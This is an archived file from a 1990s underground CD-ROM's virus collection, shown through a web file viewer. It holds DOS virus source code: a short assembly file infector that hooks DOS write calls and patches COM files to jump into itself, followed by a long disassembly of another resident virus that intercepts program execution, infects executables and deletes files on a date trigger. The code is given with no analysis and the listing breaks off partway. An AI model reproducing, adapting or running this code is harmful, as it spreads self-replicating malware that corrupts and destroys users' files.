home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / virgen / virusgen / V0002.DAT < prev    next >
Encoding:
Text File  |  1996-05-26  |  127.6 KB  |  3,214 lines

  1.         .model    tiny
  2.         .code
  3.  
  4.         org    100h
  5.  
  6. Start:
  7.         call    NextLine
  8. First3:
  9.         int    20h
  10.         int    3
  11. NextLine:
  12.         pop    bx
  13.         push    ax
  14.         xor    di,di
  15.         mov    es,di
  16.         mov    es,es:[2Bh*4+2]
  17.         mov    cx,1000h
  18.         call    SearchZero
  19.         jc    ReturnControl
  20.         xchg    ax,si
  21.         inc    si
  22. SearchTable:
  23.         dec    si
  24.         db    26h
  25.         lodsw
  26.         cmp    ax,8B2Eh
  27.         jne    SearchTable
  28.         db    26h
  29.         lodsb
  30.         cmp    al,75h
  31.         je    ReturnControl
  32.         cmp    al,9Fh
  33.         jne    SearchTable
  34.         mov    si,es:[si]
  35.         mov    cx,LastByte-Start
  36.         lea    ax,[di+Handle-Start]
  37.         org    $-1
  38.         xchg    ax,es:[si+80h]
  39.         sub    ax,di
  40.         sub    ax,cx
  41.         mov    [bx+OldWrite-Start-2],ax
  42.         mov    word ptr [bx+NewStart+1-Start-3],di
  43.         lea    si,[bx-3]
  44.         rep    movsb
  45. ReturnControl:
  46.         pop    ax
  47.         push    ss
  48.         pop    es
  49.         mov    di,100h
  50.         lea    si,[bx+First3-Start-3]
  51.         push    di
  52.         movsw
  53.         movsb
  54.         ret
  55. SearchZero:
  56.         xor    ax,ax
  57.         inc    di
  58.         push    cx
  59.         push    di
  60.                 mov     cx,[LastByte-Start-1]/2+1
  61.         repe    scasw
  62.         pop    di
  63.         pop    cx
  64.         je    FoundPlace
  65.         loop    SearchZero
  66.         stc
  67. FoundPlace:
  68.         ret
  69. Handle:
  70.         push    bp
  71.         call    NextHandle
  72. NextHandle:
  73.         pop    bp
  74.         push    es
  75.         push    ax
  76.         push    bx
  77.         push    cx
  78.         push    si
  79.         push    di
  80.         test    ch,ch
  81.         je    Do
  82.         mov    ax,1220h
  83.         int    2Fh
  84.         mov    bl,es:[di]
  85.         mov    ax,1216h
  86.         int    2Fh
  87.         cmp    es:[di+29h],'MO'
  88.         jne    Do
  89.         cmp    word ptr es:[di+15h],0
  90.         jne    Do
  91.         push    ds
  92.         pop    es
  93.         mov    di,dx
  94.         mov    ax,[di]
  95.         mov    [bp+First3-NextHandle],ax
  96.         mov    al,[di+2]
  97.         mov    [bp+First3+2-NextHandle],al
  98.         call    SearchZero
  99.         jc    Do
  100.         push    di
  101. NewStart:
  102.         mov    si,0
  103.                 mov     cx,[LastByte-Start-1]/2
  104.         cli
  105.         rep
  106.         db    36h
  107.         movsw
  108.         sti
  109.         mov    di,dx
  110.         mov    al,0E9h
  111.         stosb
  112.         pop    ax
  113.         sub    ax,di
  114.         dec    ax
  115.         dec    ax
  116.         stosw
  117. Do:
  118.         pop    di
  119.         pop    si
  120.         pop    cx
  121.         pop    bx
  122.         pop    ax
  123.         pop    es
  124.         pop    bp
  125. OldWrite:
  126.         jmp    start
  127.  
  128. LastByte        label   byte
  129.  
  130.         end    Start
  131.  
  132. done
  133.  
  134. 0000:0000  E99200                    JMP     X0095
  135. 0000:0003  7355                      JAE     X005A
  136. 0000:0005  4D                        DEC     BP
  137. 0000:0006  7344                      JAE     X004C
  138. 0000:0008  6F73                      JG      X007D
  139. 0000:000A  0001                      ADD     [BX+DI],AL
  140. 0000:000C  BD1700                    MOV     BP,0017H
  141. 0000:000F  0000                      ADD     [BX+SI],AL
  142. 0000:0011  06                        PUSH    ES
  143. 0000:0012  00A5FE00                  ADD     [DI+Y00FEH],AH
  144. 0000:0016  F016                      LOCK  PUSH    SS
  145. 0000:0018  17                        POP     SS
  146. 0000:0019  7702                      JA      X001D
  147. 0000:001B  BF053D                    MOV     DI,03D05H
  148. 0000:001E  0CFB                      OR      AL,0FBH
  149. 0000:0020  7D00                      JGE     X0022
  150. 0000:0022  0000              X0022:  ADD     [BX+SI],AL
  151. 0000:0024  0000                      ADD     [BX+SI],AL
  152. 0000:0026  0000                      ADD     [BX+SI],AL
  153. 0000:0028  0000                      ADD     [BX+SI],AL
  154. 0000:002A  0000                      ADD     [BX+SI],AL
  155. 0000:002C  0000                      ADD     [BX+SI],AL
  156. 0000:002E  E8062A                    CALL    X2A37
  157. 0000:0031  B10D                      MOV     CL,0DH
  158. 0000:0033  800000                    ADD     BYTE PTR [BX+SI],00H
  159. 0000:0036  008000B1                  ADD     [BX+SI+Y0B100H],AL
  160. 0000:003A  0D5C00                    OR      AX,005CH
  161. 0000:003D  B10D                      MOV     CL,0DH
  162. 0000:003F  6C00                      JL      X0041
  163. 0000:0041  B10D              X0041:  MOV     CL,0DH
  164. 0000:0043  0004                      ADD     [SI],AL
  165. 0000:0045  5F                        POP     DI
  166. 0000:0046  0F                        POP     CS
  167. 0000:0047  B400                      MOV     AH,00H
  168. 0000:0049  C1                        RET                       ; INTRASEGMENT
  169. 0000:004A  0D00F0            X004A:  OR      AX,0F000H
  170. 0000:004D  06                        PUSH    ES
  171. 0000:004E  004D5A                    ADD     [DI+05AH],CL
  172. 0000:0051  2000                      AND     [BX+SI],AL
  173. 0000:0053  1000                      ADC     [BX+SI],AL
  174. 0000:0055  1900                      SBB     [BX+SI],AX
  175. 0000:0057  0800                      OR      [BX+SI],AL
  176. 0000:0059  7500                      JNZ     X005B
  177. 0000:005B  7500              X005B:  JNZ     X005D
  178. 0000:005D  6901              X005D:  JNS     X0060
  179. 0000:005F  1007                      ADC     [BX],AL
  180. 0000:0061  8419                      TEST    BL,[BX+DI]
  181. 0000:0063  C500                      LDS     AX,[BX+SI]
  182. 0000:0065  6901                      JNS     X0068
  183. 0000:0067  1C00                      SBB     AL,00H
  184. 0000:0069  0000                      ADD     [BX+SI],AL
  185. 0000:006B  4C                X006B:  DEC     SP
  186. 0000:006C  B000                      MOV     AL,00H
  187. 0000:006E  CD21                      INT     021H
  188. 0000:0070  050020                    ADD     AX,02000H
  189. 0000:0073  0037                      ADD     [BX],DH
  190.  
  191. "JV.MOC"                                                              PAGE  0002
  192.  
  193. 0000:0075  121C                      ADC     BL,[SI]
  194. 0000:0077  0100                      ADD     [BX+SI],AX
  195. 0000:0079  0210                      ADD     DL,[BX+SI]
  196. 0000:007B  0010                      ADD     [BX+SI],DL
  197. 0000:007D  17                X007D:  POP     SS
  198. 0000:007E  0000                      ADD     [BX+SI],AL
  199. 0000:0080  53                        PUSH    BX
  200. 0000:0081  61E8                      JNO     X006B
  201. 0000:0083  38434F                    CMP     [BP+DI+04FH],AL
  202. 0000:0086  4D                        DEC     BP
  203. 0000:0087  4D                        DEC     BP
  204. 0000:0088  41                        INC     CX
  205. 0000:0089  4E                        DEC     SI
  206. 0000:008A  44                        INC     SP
  207. 0000:008B  2E43                      INC     BX
  208. 0000:008D  4F                        DEC     DI
  209. 0000:008E  4D                        DEC     BP
  210. 0000:008F  0100                      ADD     [BX+SI],AX
  211. 0000:0091  0000                      ADD     [BX+SI],AL
  212. 0000:0093  0000                      ADD     [BX+SI],AL
  213. 0000:0095  FC                X0095:  CLD     
  214. 0000:0096  B4E0                      MOV     AH,0E0H
  215. 0000:0098  CD21                      INT     021H
  216. 0000:009A  80FCE0                    CMP     AH,0E0H
  217. 0000:009D  7316                      JAE     X00B5
  218. 0000:009F  80FC03                    CMP     AH,03H
  219. 0000:00A2  7211                      JB      X00B5
  220. 0000:00A4  B4DD                      MOV     AH,0DDH
  221. 0000:00A6  BF0001                    MOV     DI,0100H
  222. 0000:00A9  BE1007                    MOV     SI,0710H
  223. 0000:00AC  03F7                      ADD     SI,DI
  224. 0000:00AE  2E8B8D1100                MOV     CX,CS:[DI+Y0011H]
  225. 0000:00B3  CD21                      INT     021H
  226. 0000:00B5  8CC8              X00B5:  MOV     AX,CS
  227. 0000:00B7  051000                    ADD     AX,0010H
  228. 0000:00BA  8ED0                      MOV     SS,AX
  229. 0000:00BC  BC0007                    MOV     SP,0700H
  230. 0000:00BF  50                        PUSH    AX
  231. 0000:00C0  B8C500                    MOV     AX,00C5H
  232. 0000:00C3  50                        PUSH    AX
  233. 0000:00C4  CB                        RET                       ; INTERSEGMENT
  234. 0000:00C5  FC                X00C5:  CLD     
  235. 0000:00C6  06                        PUSH    ES
  236. 0000:00C7  2E8C063100                MOV     CS:[Y0031H],ES
  237. 0000:00CC  2E8C063900                MOV     CS:[Y0039H],ES
  238. 0000:00D1  2E8C063D00                MOV     CS:[Y003DH],ES
  239. 0000:00D6  2E8C064100                MOV     CS:[Y0041H],ES
  240. 0000:00DB  8CC0                      MOV     AX,ES
  241. 0000:00DD  051000                    ADD     AX,0010H
  242. 0000:00E0  2E01064900                ADD     CS:[Y0049H],AX
  243. 0000:00E5  2E01064500                ADD     CS:[Y0045H],AX
  244. 0000:00EA  B4E0                      MOV     AH,0E0H
  245. 0000:00EC  CD21                      INT     021H
  246. 0000:00EE  80FCE0                    CMP     AH,0E0H
  247. 0000:00F1  7313                      JAE     X0106
  248. 0000:00F3  80FC03                    CMP     AH,03H
  249.  
  250. "JV.MOC"                                                              PAGE  0003
  251.  
  252. 0000:00F6  07                        POP     ES
  253. 0000:00F7  2E8E164500                MOV     SS,CS:[Y0045H]
  254. 0000:00FC  2E8B264300                MOV     SP,CS:[Y0043H]
  255. 0000:0101  2EFF2E4700                JMP     CS:[Y0047H]
  256. 0000:0106  33C0              X0106:  XOR     AX,AX
  257. 0000:0108  8EC0                      MOV     ES,AX
  258. 0000:010A  26A1FC03                  MOV     AX,ES:Y03FCH
  259. 0000:010E  2EA34B00                  MOV     CS:Y004BH,AX
  260. 0000:0112  26A0FE03                  MOV     AL,ES:Y03FEH
  261. 0000:0116  2EA24D00                  MOV     CS:Y004DH,AL
  262. 0000:011A  26C706FC03F3A5            MOV     WORD PTR ES:[Y03FCH],0A5F3H
  263. 0000:0121  26C606FE03CB              MOV     BYTE PTR ES:[Y03FEH],0CBH
  264. 0000:0127  58                        POP     AX
  265. 0000:0128  051000                    ADD     AX,0010H
  266. 0000:012B  8EC0                      MOV     ES,AX
  267. 0000:012D  0E                        PUSH    CS
  268. 0000:012E  1F                        POP     DS
  269. 0000:012F  B91007                    MOV     CX,0710H
  270. 0000:0132  D1E9                      SHR     CX,1
  271. 0000:0134  33F6                      XOR     SI,SI
  272. 0000:0136  8BFE                      MOV     DI,SI
  273. 0000:0138  06                        PUSH    ES
  274. 0000:0139  B84201                    MOV     AX,0142H
  275. 0000:013C  50                        PUSH    AX
  276. 0000:013D  EAFC030000                JMP     X0000_03FC
  277. 0000:0142  8CC8                      MOV     AX,CS
  278. 0000:0144  8ED0                      MOV     SS,AX
  279. 0000:0146  BC0007                    MOV     SP,0700H
  280. 0000:0149  33C0                      XOR     AX,AX
  281. 0000:014B  8ED8                      MOV     DS,AX
  282. 0000:014D  2EA14B00                  MOV     AX,CS:Y004BH
  283. 0000:0151  A3FC03                    MOV     Y03FCH,AX
  284. 0000:0154  2EA04D00                  MOV     AL,CS:Y004DH
  285. 0000:0158  A2FE03                    MOV     Y03FEH,AL
  286. 0000:015B  8BDC                      MOV     BX,SP
  287. 0000:015D  B104                      MOV     CL,04H
  288. 0000:015F  D3EB                      SHR     BX,CL
  289. 0000:0161  83C310                    ADD     BX,0010H
  290. 0000:0164  2E891E3300                MOV     CS:[Y0033H],BX
  291. 0000:0169  B44A                      MOV     AH,04AH
  292. 0000:016B  2E8E063100                MOV     ES,CS:[Y0031H]
  293. 0000:0170  CD21                      INT     021H
  294. 0000:0172  B82135                    MOV     AX,03521H
  295. 0000:0175  CD21                      INT     021H
  296. 0000:0177  2E891E1700                MOV     CS:[Y0017H],BX
  297. 0000:017C  2E8C061900                MOV     CS:[Y0019H],ES
  298. 0000:0181  0E                        PUSH    CS
  299. 0000:0182  1F                        POP     DS
  300. 0000:0183  BA5B02                    MOV     DX,025BH
  301. 0000:0186  B82125                    MOV     AX,02521H
  302. 0000:0189  CD21                      INT     021H
  303. 0000:018B  8E063100                  MOV     ES,[Y0031H]
  304. 0000:018F  268E062C00                MOV     ES,ES:[Y002CH]
  305. 0000:0194  33FF                      XOR     DI,DI
  306. 0000:0196  B9FF7F                    MOV     CX,07FFFH
  307. 0000:0199  32C0                      XOR     AL,AL
  308.  
  309. "JV.MOC"                                                              PAGE  0004
  310.  
  311. 0000:019B  F2AE              X019B:  REPNE  SCASB   
  312. 0000:019D  263805                    CMP     ES:[DI],AL
  313. 0000:01A0  E0F9                      LOOPNZ  X019B
  314. 0000:01A2  8BD7                      MOV     DX,DI
  315. 0000:01A4  83C203                    ADD     DX,0003H
  316. 0000:01A7  B8004B                    MOV     AX,04B00H
  317. 0000:01AA  06                        PUSH    ES
  318. 0000:01AB  1F                        POP     DS
  319. 0000:01AC  0E                        PUSH    CS
  320. 0000:01AD  07                        POP     ES
  321. 0000:01AE  BB3500                    MOV     BX,0035H
  322. 0000:01B1  1E                        PUSH    DS
  323. 0000:01B2  06                        PUSH    ES
  324. 0000:01B3  50                        PUSH    AX
  325. 0000:01B4  53                        PUSH    BX
  326. 0000:01B5  51                        PUSH    CX
  327. 0000:01B6  52                        PUSH    DX
  328. 0000:01B7  B42A                      MOV     AH,02AH
  329. 0000:01B9  CD21                      INT     021H
  330. 0000:01BB  2EC6060E0000              MOV     BYTE PTR CS:[Y000EH],00H
  331. 0000:01C1  81F9C307                  CMP     CX,07C3H
  332. 0000:01C5  7430                      JZ      X01F7
  333. 0000:01C7  3C05                      CMP     AL,05H
  334. 0000:01C9  750D                      JNZ     X01D8
  335. 0000:01CB  80FA0D                    CMP     DL,0DH
  336. 0000:01CE  7508                      JNZ     X01D8
  337. 0000:01D0  2EFE060E00                INC     BYTE PTR CS:[Y000EH]
  338. 0000:01D5  EB20                      JMP     X01F7
  339. 0000:01D7  90                        NOP     
  340. 0000:01D8  B80835            X01D8:  MOV     AX,03508H
  341. 0000:01DB  CD21                      INT     021H
  342. 0000:01DD  2E891E1300                MOV     CS:[Y0013H],BX
  343. 0000:01E2  2E8C061500                MOV     CS:[Y0015H],ES
  344. 0000:01E7  0E                        PUSH    CS
  345. 0000:01E8  1F                        POP     DS
  346. 0000:01E9  C7061F00907E              MOV     WORD PTR [Y001FH],07E90H
  347. 0000:01EF  B80825                    MOV     AX,02508H
  348. 0000:01F2  BA1E02                    MOV     DX,021EH
  349. 0000:01F5  CD21                      INT     021H
  350. 0000:01F7  5A                X01F7:  POP     DX
  351. 0000:01F8  59                        POP     CX
  352. 0000:01F9  5B                        POP     BX
  353. 0000:01FA  58                        POP     AX
  354. 0000:01FB  07                        POP     ES
  355. 0000:01FC  1F                        POP     DS
  356. 0000:01FD  9C                        PUSHF   
  357. 0000:01FE  2EFF1E1700                CALL    CS:[Y0017H]
  358. 0000:0203  1E                        PUSH    DS
  359. 0000:0204  07                        POP     ES
  360. 0000:0205  B449                      MOV     AH,049H
  361. 0000:0207  CD21                      INT     021H
  362. 0000:0209  B44D                      MOV     AH,04DH
  363. 0000:020B  CD21                      INT     021H
  364. 0000:020D  B431                      MOV     AH,031H
  365. 0000:020F  BA0006                    MOV     DX,0600H
  366. 0000:0212  B104                      MOV     CL,04H
  367.  
  368. "JV.MOC"                                                              PAGE  0005
  369.  
  370. 0000:0214  D3EA                      SHR     DX,CL
  371. 0000:0216  83C210                    ADD     DX,0010H
  372. 0000:0219  CD21                      INT     021H
  373. 0000:021B  32C0                      XOR     AL,AL
  374. 0000:021D  CF                        IRET    
  375. 0000:021E  2E833E1F0002              CMP     WORD PTR CS:[Y001FH],0002H
  376. 0000:0224  7517                      JNZ     X023D
  377. 0000:0226  50                        PUSH    AX
  378. 0000:0227  53                        PUSH    BX
  379. 0000:0228  51                        PUSH    CX
  380. 0000:0229  52                        PUSH    DX
  381. 0000:022A  55                        PUSH    BP
  382. 0000:022B  B80206                    MOV     AX,0602H
  383. 0000:022E  B787                      MOV     BH,087H
  384. 0000:0230  B90505                    MOV     CX,0505H
  385. 0000:0233  BA1010                    MOV     DX,01010H
  386. 0000:0236  CD10                      INT     010H
  387. 0000:0238  5D                        POP     BP
  388. 0000:0239  5A                        POP     DX
  389. 0000:023A  59                        POP     CX
  390. 0000:023B  5B                        POP     BX
  391. 0000:023C  58                        POP     AX
  392. 0000:023D  2EFF0E1F00        X023D:  DEC     WORD PTR CS:[Y001FH]
  393. 0000:0242  7512                      JNZ     X0256
  394. 0000:0244  2EC7061F000100            MOV     WORD PTR CS:[Y001FH],0001H
  395. 0000:024B  50                        PUSH    AX
  396. 0000:024C  51                        PUSH    CX
  397. 0000:024D  56                        PUSH    SI
  398. 0000:024E  B90140                    MOV     CX,04001H
  399. 0000:0251  F3AC                      REPE  LODSB   
  400. 0000:0253  5E                        POP     SI
  401. 0000:0254  59                        POP     CX
  402. 0000:0255  58                        POP     AX
  403. 0000:0256  2EFF2E1300        X0256:  JMP     CS:[Y0013H]
  404. 0000:025B  9C                X025B:  PUSHF   
  405. 0000:025C  80FCE0                    CMP     AH,0E0H
  406. 0000:025F  7505                      JNZ     X0266
  407. 0000:0261  B80003                    MOV     AX,0300H
  408. 0000:0264  9D                        POPF    
  409. 0000:0265  CF                        IRET    
  410. 0000:0266  80FCDD            X0266:  CMP     AH,0DDH
  411. 0000:0269  7413                      JZ      X027E
  412. 0000:026B  80FCDE                    CMP     AH,0DEH
  413. 0000:026E  7428                      JZ      X0298
  414. 0000:0270  3D004B                    CMP     AX,04B00H
  415. 0000:0273  7503                      JNZ     X0278
  416. 0000:0275  E9B400                    JMP     X032C
  417. 0000:0278  9D                X0278:  POPF    
  418. 0000:0279  2EFF2E1700                JMP     CS:[Y0017H]
  419. 0000:027E  58                X027E:  POP     AX
  420. 0000:027F  58                        POP     AX
  421. 0000:0280  B80001                    MOV     AX,0100H
  422. 0000:0283  2EA30A00                  MOV     CS:Y000AH,AX
  423. 0000:0287  58                        POP     AX
  424. 0000:0288  2EA30C00                  MOV     CS:Y000CH,AX
  425. 0000:028C  F3A4                      REPE  MOVSB   
  426.  
  427. "JV.MOC"                                                              PAGE  0006
  428.  
  429. 0000:028E  9D                        POPF    
  430. 0000:028F  2EA10F00                  MOV     AX,CS:Y000FH
  431. 0000:0293  2EFF2E0A00                JMP     CS:[Y000AH]
  432. 0000:0298  83C406            X0298:  ADD     SP,0006H
  433. 0000:029B  9D                        POPF    
  434. 0000:029C  8CC8                      MOV     AX,CS
  435. 0000:029E  8ED0                      MOV     SS,AX
  436. 0000:02A0  BC1007                    MOV     SP,0710H
  437. 0000:02A3  06                        PUSH    ES
  438. 0000:02A4  06                        PUSH    ES
  439. 0000:02A5  33FF                      XOR     DI,DI
  440. 0000:02A7  0E                        PUSH    CS
  441. 0000:02A8  07                        POP     ES
  442. 0000:02A9  B91000                    MOV     CX,0010H
  443. 0000:02AC  8BF3                      MOV     SI,BX
  444. 0000:02AE  BF2100                    MOV     DI,0021H
  445. 0000:02B1  F3A4                      REPE  MOVSB   
  446. 0000:02B3  8CD8                      MOV     AX,DS
  447. 0000:02B5  8EC0                      MOV     ES,AX
  448. 0000:02B7  2EF7267A00                MUL     WORD PTR CS:[Y007AH]
  449. 0000:02BC  2E03062B00                ADD     AX,CS:[Y002BH]
  450. 0000:02C1  83D200                    ADC     DX,0000H
  451. 0000:02C4  2EF7367A00                DIV     WORD PTR CS:[Y007AH]
  452. 0000:02C9  8ED8                      MOV     DS,AX
  453. 0000:02CB  8BF2                      MOV     SI,DX
  454. 0000:02CD  8BFA                      MOV     DI,DX
  455. 0000:02CF  8CC5                      MOV     BP,ES
  456. 0000:02D1  2E8B1E2F00                MOV     BX,CS:[Y002FH]
  457. 0000:02D6  0BDB                      OR      BX,BX
  458. 0000:02D8  7413                      JZ      X02ED
  459. 0000:02DA  B90080            X02DA:  MOV     CX,08000H
  460. 0000:02DD  F3A5                      REPE  MOVSW   
  461. 0000:02DF  050010                    ADD     AX,01000H
  462. 0000:02E2  81C50010                  ADD     BP,01000H
  463. 0000:02E6  8ED8                      MOV     DS,AX
  464. 0000:02E8  8EC5                      MOV     ES,BP
  465. 0000:02EA  4B                        DEC     BX
  466. 0000:02EB  75ED                      JNZ     X02DA
  467. 0000:02ED  2E8B0E2D00        X02ED:  MOV     CX,CS:[Y002DH]
  468. 0000:02F2  F3A4                      REPE  MOVSB   
  469. 0000:02F4  58                        POP     AX
  470. 0000:02F5  50                        PUSH    AX
  471. 0000:02F6  051000                    ADD     AX,0010H
  472. 0000:02F9  2E01062900                ADD     CS:[Y0029H],AX
  473. 0000:02FE  2E01062500                ADD     CS:[Y0025H],AX
  474. 0000:0303  2EA12100                  MOV     AX,CS:Y0021H
  475. 0000:0307  1F                        POP     DS
  476. 0000:0308  07                        POP     ES
  477. 0000:0309  2E8E162900                MOV     SS,CS:[Y0029H]
  478. 0000:030E  2E8B262700                MOV     SP,CS:[Y0027H]
  479. 0000:0313  2EFF2E2300                JMP     CS:[Y0023H]
  480. 0000:0318  33C9              X0318:  XOR     CX,CX
  481. 0000:031A  B80143                    MOV     AX,04301H
  482. 0000:031D  CD21                      INT     021H
  483. 0000:031F  B441                      MOV     AH,041H
  484. 0000:0321  CD21                      INT     021H
  485.  
  486. "JV.MOC"                                                              PAGE  0007
  487.  
  488. 0000:0323  B8004B                    MOV     AX,04B00H
  489. 0000:0326  9D                        POPF    
  490. 0000:0327  2EFF2E1700                JMP     CS:[Y0017H]
  491. 0000:032C  2E803E0E0001      X032C:  CMP     BYTE PTR CS:[Y000EH],01H
  492. 0000:0332  74E4                      JZ      X0318
  493. 0000:0334  2EC7067000FFFF            MOV     WORD PTR CS:[Y0070H],0FFFFH
  494. 0000:033B  2EC7068F000000            MOV     WORD PTR CS:[Y008FH],0000H
  495. 0000:0342  2E89168000                MOV     CS:[Y0080H],DX
  496. 0000:0347  2E8C1E8200                MOV     CS:[Y0082H],DS
  497. 0000:034C  50                        PUSH    AX
  498. 0000:034D  53                        PUSH    BX
  499. 0000:034E  51                        PUSH    CX
  500. 0000:034F  52                        PUSH    DX
  501. 0000:0350  56                        PUSH    SI
  502. 0000:0351  57                        PUSH    DI
  503. 0000:0352  1E                        PUSH    DS
  504. 0000:0353  06                        PUSH    ES
  505. 0000:0354  FC                        CLD     
  506. 0000:0355  8BFA                      MOV     DI,DX
  507. 0000:0357  32D2                      XOR     DL,DL
  508. 0000:0359  807D013A                  CMP     BYTE PTR [DI+01H],03AH
  509. 0000:035D  7505                      JNZ     X0364
  510. 0000:035F  8A15                      MOV     DL,[DI]
  511. 0000:0361  80E21F                    AND     DL,01FH
  512. 0000:0364  B436              X0364:  MOV     AH,036H
  513. 0000:0366  CD21                      INT     021H
  514. 0000:0368  3DFFFF                    CMP     AX,0FFFFH
  515. 0000:036B  7503                      JNZ     X0370
  516. 0000:036D  E97702            X036D:  JMP     X05E7
  517. 0000:0370  F7E3              X0370:  MUL     BX
  518. 0000:0372  F7E1                      MUL     CX
  519. 0000:0374  0BD2                      OR      DX,DX
  520. 0000:0376  7505                      JNZ     X037D
  521. 0000:0378  3D1007                    CMP     AX,0710H
  522. 0000:037B  72F0                      JB      X036D
  523. 0000:037D  2E8B168000        X037D:  MOV     DX,CS:[Y0080H]
  524. 0000:0382  1E                        PUSH    DS
  525. 0000:0383  07                        POP     ES
  526. 0000:0384  32C0                      XOR     AL,AL
  527. 0000:0386  B94100                    MOV     CX,0041H
  528. 0000:0389  F2AE                      REPNE  SCASB   
  529. 0000:038B  2E8B368000                MOV     SI,CS:[Y0080H]
  530. 0000:0390  8A04              X0390:  MOV     AL,[SI]
  531. 0000:0392  0AC0                      OR      AL,AL
  532. 0000:0394  740E                      JZ      X03A4
  533. 0000:0396  3C61                      CMP     AL,061H
  534. 0000:0398  7207                      JB      X03A1
  535. 0000:039A  3C7A                      CMP     AL,07AH
  536. 0000:039C  7703                      JA      X03A1
  537. 0000:039E  802C20                    SUB     BYTE PTR [SI],020H
  538. 0000:03A1  46                X03A1:  INC     SI
  539. 0000:03A2  EBEC                      JMP     X0390
  540. 0000:03A4  B90B00            X03A4:  MOV     CX,000BH
  541. 0000:03A7  2BF1                      SUB     SI,CX
  542. 0000:03A9  BF8400                    MOV     DI,0084H
  543. 0000:03AC  0E                        PUSH    CS
  544.  
  545. "JV.MOC"                                                              PAGE  0008
  546.  
  547. 0000:03AD  07                        POP     ES
  548. 0000:03AE  B90B00                    MOV     CX,000BH
  549. 0000:03B1  F3A6                      REPE  CMPSB   
  550. 0000:03B3  7503                      JNZ     X03B8
  551. 0000:03B5  E92F02                    JMP     X05E7
  552. 0000:03B8  B80043            X03B8:  MOV     AX,04300H
  553. 0000:03BB  CD21                      INT     021H
  554. 0000:03BD  7205                      JB      X03C4
  555. 0000:03BF  2E890E7200                MOV     CS:[Y0072H],CX
  556. 0000:03C4  7225              X03C4:  JB      X03EB
  557. 0000:03C6  32C0                      XOR     AL,AL
  558. 0000:03C8  2EA24E00                  MOV     CS:Y004EH,AL
  559. 0000:03CC  1E                        PUSH    DS
  560. 0000:03CD  07                        POP     ES
  561. 0000:03CE  8BFA                      MOV     DI,DX
  562. 0000:03D0  B94100                    MOV     CX,0041H
  563. 0000:03D3  F2AE                      REPNE  SCASB   
  564. 0000:03D5  807DFE4D                  CMP     BYTE PTR [DI-02H],04DH
  565. 0000:03D9  740B                      JZ      X03E6
  566. 0000:03DB  807DFE6D                  CMP     BYTE PTR [DI-02H],06DH
  567. 0000:03DF  7405                      JZ      X03E6
  568. 0000:03E1  2EFE064E00                INC     BYTE PTR CS:[Y004EH]
  569. 0000:03E6  B8003D            X03E6:  MOV     AX,03D00H
  570. 0000:03E9  CD21                      INT     021H
  571. 0000:03EB  725A              X03EB:  JB      X0447
  572. 0000:03ED  2EA37000                  MOV     CS:Y0070H,AX
  573. 0000:03F1  8BD8                      MOV     BX,AX
  574. 0000:03F3  B80242                    MOV     AX,04202H
  575. 0000:03F6  B9FFFF                    MOV     CX,0FFFFH
  576. 0000:03F9  BAFBFF                    MOV     DX,0FFFBH
  577. 0000:03FC  CD21              X03FC:  INT     021H
  578. 0000:03FE  72EB                      JB      X03EB
  579. 0000:0400  050500                    ADD     AX,0005H
  580. 0000:0403  2EA31100                  MOV     CS:Y0011H,AX
  581. 0000:0407  B90500                    MOV     CX,0005H
  582. 0000:040A  BA6B00                    MOV     DX,006BH
  583. 0000:040D  8CC8                      MOV     AX,CS
  584. 0000:040F  8ED8                      MOV     DS,AX
  585. 0000:0411  8EC0                      MOV     ES,AX
  586. 0000:0413  B43F                      MOV     AH,03FH
  587. 0000:0415  CD21                      INT     021H
  588. 0000:0417  8BFA                      MOV     DI,DX
  589. 0000:0419  BE0500                    MOV     SI,0005H
  590. 0000:041C  F3A6                      REPE  CMPSB   
  591. 0000:041E  7507                      JNZ     X0427
  592. 0000:0420  B43E                      MOV     AH,03EH
  593. 0000:0422  CD21                      INT     021H
  594. 0000:0424  E9C001                    JMP     X05E7
  595. 0000:0427  B82435            X0427:  MOV     AX,03524H
  596. 0000:042A  CD21                      INT     021H
  597. 0000:042C  891E1B00                  MOV     [Y001BH],BX
  598. 0000:0430  8C061D00                  MOV     [Y001DH],ES
  599. 0000:0434  BA1B02                    MOV     DX,021BH
  600. 0000:0437  B82425                    MOV     AX,02524H
  601. 0000:043A  CD21                      INT     021H
  602. 0000:043C  C5168000                  LDS     DX,[Y0080H]
  603.  
  604. "JV.MOC"                                                              PAGE  0009
  605.  
  606. 0000:0440  33C9                      XOR     CX,CX
  607. 0000:0442  B80143                    MOV     AX,04301H
  608. 0000:0445  CD21                      INT     021H
  609. 0000:0447  723B              X0447:  JB      X0484
  610. 0000:0449  2E8B1E7000                MOV     BX,CS:[Y0070H]
  611. 0000:044E  B43E                      MOV     AH,03EH
  612. 0000:0450  CD21                      INT     021H
  613. 0000:0452  2EC7067000FFFF            MOV     WORD PTR CS:[Y0070H],0FFFFH
  614. 0000:0459  B8023D                    MOV     AX,03D02H
  615. 0000:045C  CD21                      INT     021H
  616. 0000:045E  7224                      JB      X0484
  617. 0000:0460  2EA37000                  MOV     CS:Y0070H,AX
  618. 0000:0464  8CC8                      MOV     AX,CS
  619. 0000:0466  8ED8                      MOV     DS,AX
  620. 0000:0468  8EC0                      MOV     ES,AX
  621. 0000:046A  8B1E7000                  MOV     BX,[Y0070H]
  622. 0000:046E  B80057                    MOV     AX,05700H
  623. 0000:0471  CD21                      INT     021H
  624. 0000:0473  89167400                  MOV     [Y0074H],DX
  625. 0000:0477  890E7600                  MOV     [Y0076H],CX
  626. 0000:047B  B80042                    MOV     AX,04200H
  627. 0000:047E  33C9                      XOR     CX,CX
  628. 0000:0480  8BD1                      MOV     DX,CX
  629. 0000:0482  CD21                      INT     021H
  630. 0000:0484  723D              X0484:  JB      X04C3
  631. 0000:0486  803E4E0000                CMP     BYTE PTR [Y004EH],00H
  632. 0000:048B  7403                      JZ      X0490
  633. 0000:048D  EB57                      JMP     X04E6
  634. 0000:048F  90                        NOP     
  635. 0000:0490  BB0010            X0490:  MOV     BX,01000H
  636. 0000:0493  B448                      MOV     AH,048H
  637. 0000:0495  CD21                      INT     021H
  638. 0000:0497  730B                      JAE     X04A4
  639. 0000:0499  B43E                      MOV     AH,03EH
  640. 0000:049B  8B1E7000                  MOV     BX,[Y0070H]
  641. 0000:049F  CD21                      INT     021H
  642. 0000:04A1  E94301                    JMP     X05E7
  643. 0000:04A4  FF068F00          X04A4:  INC     WORD PTR [Y008FH]
  644. 0000:04A8  8EC0                      MOV     ES,AX
  645. 0000:04AA  33F6                      XOR     SI,SI
  646. 0000:04AC  8BFE                      MOV     DI,SI
  647. 0000:04AE  B91007                    MOV     CX,0710H
  648. 0000:04B1  F3A4                      REPE  MOVSB   
